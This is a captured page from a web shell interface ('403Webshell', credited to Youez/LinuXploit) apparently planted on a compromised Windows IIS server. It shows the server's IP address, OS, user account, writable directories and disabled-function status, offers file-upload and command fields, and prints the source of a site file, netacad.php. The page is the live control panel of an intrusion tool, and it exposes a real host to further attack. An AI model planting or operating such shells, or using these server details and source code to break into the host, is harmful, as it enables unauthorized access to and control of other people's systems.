403Webshell
Server IP : 195.130.67.5  /  Your IP : 216.73.216.231
Web Server : Microsoft-IIS/10.0
System : Windows NT WEBSERVER1 10.0 build 17763 (Windows Server 2016) i586
User : IUSR ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/inetpub/wwwroot/icd/msc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/inetpub/wwwroot/icd/msc/netacad.php
<?php

	include_once 'lib/lib.php';
	
	$pageid = Utils::vRequest("id", TRUE, "alumni");
	
	$mCtrl = new Controller("page", $page_title);
		
	$page_file = "pages/{$pageid}_{$mCtrl->CurrentLanguage}.html";
		
	$fileOK = file_exists($page_file);
	
	$page_title = "";
	
	if ($fileOK){
		$fc = file_get_contents($page_file);

		$matches = NULL;
		//preg_match('@^(?:http://)?([^/]+)@i', $fc, $matches);
		preg_match('@(\<\!--[ ]+TITLE=)(.+)([ ]+-->)@i', $fc, $matches);
		if (FALSE){
			echo "<pre>";
			var_dump($matches);
			echo "</pre>";			
		}
		if ($matches){
			if (is_array($matches)){
				if (count($matches) == 4){
					$page_title = $matches[2]; 
				}
			}
		}
	}
	
	
	
	$mCtrl = new Controller("page", $page_title);
	//$mCtrl->addToHead("");	
	
	//if (!$fileOK) $mCtrl->redirectTo();

	$mCtrl->printHeaders();
		
	//$mCtrl->addSideBarBlock("δοκιμή", "δοκιμή", 300);
	if ($fileOK){
		echo $fc;		
	}else{
		echo "page not found";
	}
			
?>


<?php
	$mCtrl->Close();
?>

Youez - 2016 - github.com/yon3zu
LinuXploit